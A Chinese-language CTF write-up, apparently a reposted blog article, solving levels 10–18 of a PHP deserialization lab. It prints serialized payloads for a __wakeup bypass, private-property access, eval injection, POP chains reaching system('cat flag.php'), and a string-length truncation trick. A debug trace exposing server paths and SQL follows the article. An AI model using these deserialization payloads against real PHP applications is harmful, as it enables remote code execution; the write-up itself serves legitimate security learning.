当前位置:首页>php>【反序列化靶场】PHPSerialize-labs: level10-18

【反序列化靶场】PHPSerialize-labs: level10-18

  • 2026-01-12 03:10:09
【反序列化靶场】PHPSerialize-labs: level10-18

最近公众号的流量突然暴增,属实给我吓了一跳。还是要感谢大家的点赞推荐关注,你们的支持就是我更新下去的动力_(•̀ω•́ 」∠)_

前排提示:从第10关开始flag都是HelloCTF{Default_Flag},这是靶场设计者忘记修改所致,而非笔者复现失败。只要你的payload能打通并拿到flag,解法就是正确的。我们是以学习知识为主,所以无需纠结太多。

ps:如果觉得笔者的文章写得不错的话就点点关注吧,不胜感激。为了保证文章的质量,在写稿的时候要反复揣摩文字,所以我们的更新频率是一周一次,保质也保量∠( ᐛ 」∠)_

level 10

题目页面

解题思路

题目注释说了,urlserialize()会优先检查并调用__wakeup()方法。而题目里FLAG类的__wakeup()是直接输出flag的,所以我们定义的类可以是空的,然后序列化:

<?phpclassFLAG{}$o = serialize(new FLAG());echo"o=".$o;?>

输出如下:

o=O:4:"FLAG":0:{}

依旧POST传参:

执行后可以看到flag

HelloCTF{Default_Flag}

level 11

题目页面

解题思路

题目的代码逻辑很简单,一开始包含了flag.php,并且里面有一个变量叫$flag

类一开始会执行__wakeup()函数,给$flag赋值成NULL,而这个$flag也不是类里的成员变量,是前面包含的flag.php里面的$flag

然后会执行__destruce()函数,如果$flag不为NULL,会打印原来的flag,否则打印失败。

而题目注释提示了我们这是一个cve漏洞,并且只在php5php7生效,在此基础之上还要满足php5 < 5.6.25php7 < 7.0.10

当对象现在的属性值比原来的大的时候,这个漏洞就会生效,会跳过__wakeup(),直接执行__destruct()

另外,在代码的最后打印了了一个phpinfo(),里面有当前php的版本号。如果没有满足上述条件,换一个满足条件的php版本。

那么我们可以先搓一个php代码:

<?phpclassFLAG{public $flag = "FAKEFLAG";}$o = serialize(new FLAG());echo"o=".$o;?>

输出序列化的值:

o=O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}

关键的一步来了,我们需要把1改成2,使得对象现在的属性值比原来的大:

o=O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}

最后POST传参:

执行后得到flag

HelloCTF{Default_Flag}

level 12

题目页面

解题思路

根据题目注释,我们可以控制chance的输出,而完整的flaghelIoctfflag这几个变量组成。

这里面大部分都是公共变量和受保护变量,而私有变量只有fl

我们可以一个一个变量输入,然后看一下序列化最后一个字符串即可。

举个例子,我们的payload是:

?chance=h

GET传参得到:

那么flag的第一部分就是:

HelloCTF{

一样地,我们可以输入:

?chance=e

GET传参得到:

那么flag的第二部分就是:

Th3_

当传入的参数是私有变量时,需要变成:

?chance=%00FLAG%00l

GET传参得到:

那么flag的第三部分就是:

up_

真的如此吗?事实上由于fl分别都有一个公有变量和一个私有变量,我们并不能确定哪个是我们需要的,所以只能在传参后通过语义去判断。

如果我们传入:

?chance=l

GET传参得到:

得到的结果是:

__sleep_function_

显然这个语义是要比up正确的,所以第三部分应该是__sleep_function_才对。

以此类推,我们一个一个变量传进去,拼接起来得到最终flag

HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

注:因为输出的array数组前两个元素是随机的,可能会和你输入的参数相同,所以序列化可能会把你输出的字符串放到前面。这种情况不必担心,多传几次就可以在末尾看到正确的字符串。

level 13

题目页面

解题思路

题目注释说了,__toString()方法用于一个类被当字符串的时候会如何回应。

而我们传入的参数o会被eval()当作php代码执行,所以我们的payload如下:

o=echo $obj;

POST传参:

运行后得到结果:

I'm a string ~~~HelloCTF{Default_Flag}

level 14

题目页面

解题思路

题目注释说了,__invoke()方法用于一个类被当函数的时候会如何回应。

由于函数的参数得等于get_flag,所以我们的payload如下:

o=$obj("get_flag");

依旧POST传参:

执行后得到flag

HelloCTF{Default_Flag}

level 15

题目页面

解题思路

从本关开始逐渐上强度了。很典型的一个pop链题目。

对于这种题,我们第一步是要看清楚它是序列化还是反序列化:如果是前者,我们重点关注有__sleep()的类;如果是后者,我们重点关注有__wakeUp()的类

具体原理就是它们会优先调用上述相应的函数,本题是后者,我们先看看有__wakeUp()的类。

显然D有一个_wakeUp,那么它就是本题的入口。

可以看到,它的d对象还会调用action方法,而action就复杂了,我们可以拆解一下:

$this->cmd      : 获取当前对象的cmd属性$this->cmd->a   : 获取cmd对象的a属性  $this->cmd->a->b: 获取a对象的b属性$this->cmd->a->b->c: 获取b对象的c属性

这是链式访问的一种写法:cmd属性的a属性,再访问a的b属性,再访问b的c属性。

不难看出,pop链的本质就是上级对象将下级对象当属性调用。例如,a对象调用了b属性,而b属性本身也是一个对象,它又会调用c属性,如此反复,直到终点。

如果写成对象的格式(需要结合下面的代码看):

$dest->cmd = $a (A对象)$dest->cmd->a = $b (B对象) $dest->cmd->a->b = $c (C对象)$dest->cmd->a->b->c = "cat flag.php"

既然调用属性是由上到下,那么创建对象就是从下到上了:

<?phpclassA{public $a;publicfunction__construct($a){$this->a = $a;    }}classB{public $b;publicfunction__construct($b){$this->b = $b;    }}classC{public $c;publicfunction__construct($c){$this->c = $c;    }}classD{public $d;publicfunction__construct($d){$this->d = $d;    }publicfunction__wakeUp(){$this->d->action();    }}classdestnation{var $cmd;publicfunction__construct($cmd){$this->cmd = $cmd;    }publicfunctionaction(){eval($this->cmd->a->b->c);    }}$c = new C("system('cat flag.php');"); // 调用终点,用于执行恶意代码$b = new B($c); // 将对象c当作对象b的属性$a = new A($b); // 将对象b当作对象a的属性$dest = new destnation($a); // 将对象a当作对象dest的属性$d = new D($dest); // 将对象dest当作对象d的属性,被反序列化时会触发__wakeup(),从而调用dest里面的action()方法$o = serialize($d); // 序列化echo"o=".$o; ?>

得到:

o=O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:23:"system('cat flag.php');";}}}}}

最后POST传参:

ctrl+u得到:

<?php$file_path = "/flag";if (file_exists($file_path)) {    $flag = file_get_contents($file_path);}else{    $flag = "HelloCTF{Default_Flag}";}?>

显然不存在/flag这个路径,那么我们的flag即是:

HelloCTF{Default_Flag}

level 16

题目页面

解题思路

这题看着挺唬人的,事实上只要对上题足够了解,想解出这题也并不是难事。

可以看到A,B,INIT这三个类分别都有魔术方法__invoke(),__toString(),__wakeUp(),三个方法我们在之前的关卡都有提到过作用,这里不再赘述。

这三个类的作用分别是:

A__invoke()会包含$a,然后返回$a里的$flag

B__toString()会将$b赋值给$f,然后将$f当函数输出。

INIT__wakeUp()会将name打印出来。

看到这里,你可能已经恍然大悟了,我们只需要用__wakeUp()可以激活__toString(),再用__toString()激活__invoke() ,不就可以成功达到我们的目的了?

这里直接给出代码:

<?phpclassA{public $a;publicfunction__construct($a){$this->a = $a;    }publicfunction__invoke(){include$this->a;return $flag;    }}classB{public $b;publicfunction__construct($b){$this->b = $b;    }publicfunction__toString(){        $f = $this->b;return $f();    }}classINIT{public $name;publicfunction__construct($name){$this->name = $name;    }publicfunction__wakeUp(){echo$this->name.' is awake!';    }}$obj_a = new A("flag.php");$obj_b = new B($obj_a);$obj_init = new INIT($obj_b);$o = serialize($obj_init);echo"o=".$o;?>

解释一下大致流程:

  • $obj_init:在反序列化后,__wakeUp()echo $this->name,而这里的$this->name就是$obj_b
  • $obj_b:在$obj_becho后,会触发__toString()__toString()会将$this->b,也就是$obj_a当成函数返回
  • $obj_a:在$obj_a被当成函数返回后,会触发__invoke(),从而包含$this->a,也就是flag.php,并且返回其中的$flag

当然,这里还需要用构造函数达到传入参数的目的,所以每个类都加了一个__construct()

输出结果为:

o=O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

最后POST传参:

得到:

HelloCTF{Default_Flag} is awake!

level 17

题目页面

解题思路

题目注释提示了,我们正常定义一个类A,在里面新建一个新的属性$helloctfcmd就行:

<?phpclassA{public $helloctfcmd = "get_flag";}$o = serialize(new A());echo"o=".$o;?>

这题其实和level 6的原理有点像,在反序列化的时候如果原类没有相应的属性,那么解释器并不会产生报错,而是会把当前类的属性复制过来给反序列化创建的对象,对应到本题就是原类没有$helloctfcmd,但是在已经序列化的字符串里有,那么在反序化的时候就会得到一个拥有对应变量的对象。而level 6就是反过来的情况。

代码将会输出:

o=O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

最后POST传参:

执行后输出:

ClassAisNULL: 'O:1:"A":0:{}'Class B is a class with 3 properties: 'O:1:"B":3:{s:1:"a";s:5:"Hello";s:4:"*b";s:3:"CTF";s:4:"Bc";s:10:"FLAG{TEST}";}'After replace B with A,we unserialize it and dump :object(A)#1 (3) { ["a"]=> string(5) "Hello" ["b":protected]=> string(3) "CTF" ["c":"A":private]=> string(10) "FLAG{TEST}" } HelloCTF{Default_Flag}

那么flag就在最后了:

HelloCTF{Default_Flag}

level 18

题目页面

解题思路

可以看到,题目要求我们反序列化后的$FLAG能够被类FLAG实例化,并且属性keyGET_FLAG

本题我们并不能自己定义类,只能通过str_replace()去把已经序列化的Demo一些关键词给替换掉,从而达到反序列化后是我们想要的结果。

当然,想把Demo换成FLAG是非常简单的事情,那么现在就聚焦在如何把keyGET_FLAG";}FAKE_FLAG换成GET_FLAG

题目注释说了:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。

也就是说我们把20换成8,就会自动截断后面的;}FAKE_FLAG了。payload如下:

?target[0]=Demo&target[1]=20&change[0]=FLAG&change[1]=8

这里是把targetchange当成数组传入了,当str_replace()执行的时候,会自动用FLAG替换Demo20替换8

这里用的是GET传参:

执行后滑到最下面会输出:

SerliseStringDemo:'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'Change SOMETHING TO GET FLAGHelloCTF{Default_Flag}

得到flag

HelloCTF{Default_Flag}

结语:我们的反序列化就暂时学到这里了,恭喜你看完了本靶场的复现WriteUp,是不是感觉又学到了很多东西呢?如果能自己手动实践一下的话,那就更好啦!之后我也会出其他靶场的WriteUp的,请多多期待!

最新文章

随机文章

基本 文件 流程 错误 SQL 调试
  1. 请求信息 : 2026-02-08 18:37:13 HTTP/2.0 GET : https://f.mffb.com.cn/a/461075.html
  2. 运行时间 : 0.107461s [ 吞吐率:9.31req/s ] 内存消耗:4,591.11kb 文件加载:140
  3. 缓存信息 : 0 reads,0 writes
  4. 会话信息 : SESSION_ID=9efb86596c0c9a1725cbbff3cdd99f6c
  1. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/public/index.php ( 0.79 KB )
  2. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/autoload.php ( 0.17 KB )
  3. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_real.php ( 2.49 KB )
  4. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/platform_check.php ( 0.90 KB )
  5. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/ClassLoader.php ( 14.03 KB )
  6. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/composer/autoload_static.php ( 4.90 KB )
  7. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper.php ( 8.34 KB )
  8. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/helper.php ( 2.19 KB )
  9. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/helper.php ( 1.47 KB )
  10. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/stubs/load_stubs.php ( 0.16 KB )
  11. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Exception.php ( 1.69 KB )
  12. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Facade.php ( 2.71 KB )
  13. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/deprecation-contracts/function.php ( 0.99 KB )
  14. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap.php ( 8.26 KB )
  15. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/polyfill-mbstring/bootstrap80.php ( 9.78 KB )
  16. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/Resources/functions/dump.php ( 1.49 KB )
  17. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-dumper/src/helper.php ( 0.18 KB )
  18. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/symfony/var-dumper/VarDumper.php ( 4.30 KB )
  19. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/App.php ( 15.30 KB )
  20. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-container/src/Container.php ( 15.76 KB )
  21. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/container/src/ContainerInterface.php ( 1.02 KB )
  22. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/provider.php ( 0.19 KB )
  23. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Http.php ( 6.04 KB )
  24. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Str.php ( 7.29 KB )
  25. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Env.php ( 4.68 KB )
  26. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/common.php ( 0.03 KB )
  27. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/helper.php ( 18.78 KB )
  28. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Config.php ( 5.54 KB )
  29. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/app.php ( 0.95 KB )
  30. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cache.php ( 0.78 KB )
  31. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/console.php ( 0.23 KB )
  32. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/cookie.php ( 0.56 KB )
  33. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/database.php ( 2.48 KB )
  34. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Env.php ( 1.67 KB )
  35. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/filesystem.php ( 0.61 KB )
  36. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/lang.php ( 0.91 KB )
  37. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/log.php ( 1.35 KB )
  38. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/middleware.php ( 0.19 KB )
  39. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/route.php ( 1.89 KB )
  40. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/session.php ( 0.57 KB )
  41. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/trace.php ( 0.34 KB )
  42. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/config/view.php ( 0.82 KB )
  43. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/event.php ( 0.25 KB )
  44. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Event.php ( 7.67 KB )
  45. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/service.php ( 0.13 KB )
  46. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/AppService.php ( 0.26 KB )
  47. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Service.php ( 1.64 KB )
  48. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Lang.php ( 7.35 KB )
  49. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/lang/zh-cn.php ( 13.70 KB )
  50. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/Error.php ( 3.31 KB )
  51. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/RegisterService.php ( 1.33 KB )
  52. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/services.php ( 0.14 KB )
  53. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/PaginatorService.php ( 1.52 KB )
  54. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ValidateService.php ( 0.99 KB )
  55. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/service/ModelService.php ( 2.04 KB )
  56. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Service.php ( 0.77 KB )
  57. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Middleware.php ( 6.72 KB )
  58. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/initializer/BootService.php ( 0.77 KB )
  59. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Paginator.php ( 11.86 KB )
  60. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-validate/src/Validate.php ( 63.20 KB )
  61. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/Model.php ( 23.55 KB )
  62. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Attribute.php ( 21.05 KB )
  63. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/AutoWriteData.php ( 4.21 KB )
  64. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/Conversion.php ( 6.44 KB )
  65. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/DbConnect.php ( 5.16 KB )
  66. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/ModelEvent.php ( 2.33 KB )
  67. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/concern/RelationShip.php ( 28.29 KB )
  68. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Arrayable.php ( 0.09 KB )
  69. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/contract/Jsonable.php ( 0.13 KB )
  70. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/model/contract/Modelable.php ( 0.09 KB )
  71. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Db.php ( 2.88 KB )
  72. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/DbManager.php ( 8.52 KB )
  73. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Log.php ( 6.28 KB )
  74. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Manager.php ( 3.92 KB )
  75. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerTrait.php ( 2.69 KB )
  76. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/log/src/LoggerInterface.php ( 2.71 KB )
  77. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cache.php ( 4.92 KB )
  78. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/psr/simple-cache/src/CacheInterface.php ( 4.71 KB )
  79. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/helper/Arr.php ( 16.63 KB )
  80. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/driver/File.php ( 7.84 KB )
  81. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/cache/Driver.php ( 9.03 KB )
  82. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/CacheHandlerInterface.php ( 1.99 KB )
  83. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/Request.php ( 0.09 KB )
  84. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Request.php ( 55.78 KB )
  85. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/middleware.php ( 0.25 KB )
  86. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Pipeline.php ( 2.61 KB )
  87. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/TraceDebug.php ( 3.40 KB )
  88. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/middleware/SessionInit.php ( 1.94 KB )
  89. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Session.php ( 1.80 KB )
  90. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/driver/File.php ( 6.27 KB )
  91. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/SessionHandlerInterface.php ( 0.87 KB )
  92. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/session/Store.php ( 7.12 KB )
  93. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Route.php ( 23.73 KB )
  94. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleName.php ( 5.75 KB )
  95. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Domain.php ( 2.53 KB )
  96. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleGroup.php ( 22.43 KB )
  97. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Rule.php ( 26.95 KB )
  98. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/RuleItem.php ( 9.78 KB )
  99. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/route/app.php ( 1.72 KB )
  100. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/Route.php ( 4.70 KB )
  101. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/dispatch/Controller.php ( 4.74 KB )
  102. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/route/Dispatch.php ( 10.44 KB )
  103. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/controller/Index.php ( 4.81 KB )
  104. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/app/BaseController.php ( 2.05 KB )
  105. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/facade/Db.php ( 0.93 KB )
  106. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/connector/Mysql.php ( 5.44 KB )
  107. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/PDOConnection.php ( 52.47 KB )
  108. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Connection.php ( 8.39 KB )
  109. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/ConnectionInterface.php ( 4.57 KB )
  110. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/builder/Mysql.php ( 16.58 KB )
  111. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Builder.php ( 24.06 KB )
  112. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseBuilder.php ( 27.50 KB )
  113. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/Query.php ( 15.71 KB )
  114. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/BaseQuery.php ( 45.13 KB )
  115. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php ( 7.43 KB )
  116. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/AggregateQuery.php ( 3.26 KB )
  117. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ModelRelationQuery.php ( 20.07 KB )
  118. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ParamsBind.php ( 3.66 KB )
  119. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/ResultOperation.php ( 7.01 KB )
  120. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/WhereQuery.php ( 19.37 KB )
  121. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/JoinAndViewQuery.php ( 7.11 KB )
  122. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/TableFieldInfo.php ( 2.63 KB )
  123. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-orm/src/db/concern/Transaction.php ( 2.77 KB )
  124. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/driver/File.php ( 5.96 KB )
  125. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/LogHandlerInterface.php ( 0.86 KB )
  126. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/log/Channel.php ( 3.89 KB )
  127. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/event/LogRecord.php ( 1.02 KB )
  128. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-helper/src/Collection.php ( 16.47 KB )
  129. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/facade/View.php ( 1.70 KB )
  130. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/View.php ( 4.39 KB )
  131. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Response.php ( 8.81 KB )
  132. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/response/View.php ( 3.29 KB )
  133. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/Cookie.php ( 6.06 KB )
  134. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-view/src/Think.php ( 8.38 KB )
  135. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/framework/src/think/contract/TemplateHandlerInterface.php ( 1.60 KB )
  136. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/Template.php ( 46.61 KB )
  137. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/driver/File.php ( 2.41 KB )
  138. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-template/src/template/contract/DriverInterface.php ( 0.86 KB )
  139. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/runtime/temp/067d451b9a0c665040f3f1bdd3293d68.php ( 11.98 KB )
  140. /yingpanguazai/ssd/ssd1/www/f.mffb.com.cn/vendor/topthink/think-trace/src/Html.php ( 4.42 KB )
  1. CONNECT:[ UseTime:0.000361s ] mysql:host=127.0.0.1;port=3306;dbname=f_mffb;charset=utf8mb4
  2. SHOW FULL COLUMNS FROM `fenlei` [ RunTime:0.000600s ]
  3. SELECT * FROM `fenlei` WHERE `fid` = 0 [ RunTime:0.000293s ]
  4. SELECT * FROM `fenlei` WHERE `fid` = 63 [ RunTime:0.000274s ]
  5. SHOW FULL COLUMNS FROM `set` [ RunTime:0.000582s ]
  6. SELECT * FROM `set` [ RunTime:0.004522s ]
  7. SHOW FULL COLUMNS FROM `article` [ RunTime:0.000643s ]
  8. SELECT * FROM `article` WHERE `id` = 461075 LIMIT 1 [ RunTime:0.000473s ]
  9. UPDATE `article` SET `lasttime` = 1770547033 WHERE `id` = 461075 [ RunTime:0.004352s ]
  10. SELECT * FROM `fenlei` WHERE `id` = 64 LIMIT 1 [ RunTime:0.001594s ]
  11. SELECT * FROM `article` WHERE `id` < 461075 ORDER BY `id` DESC LIMIT 1 [ RunTime:0.003312s ]
  12. SELECT * FROM `article` WHERE `id` > 461075 ORDER BY `id` ASC LIMIT 1 [ RunTime:0.004338s ]
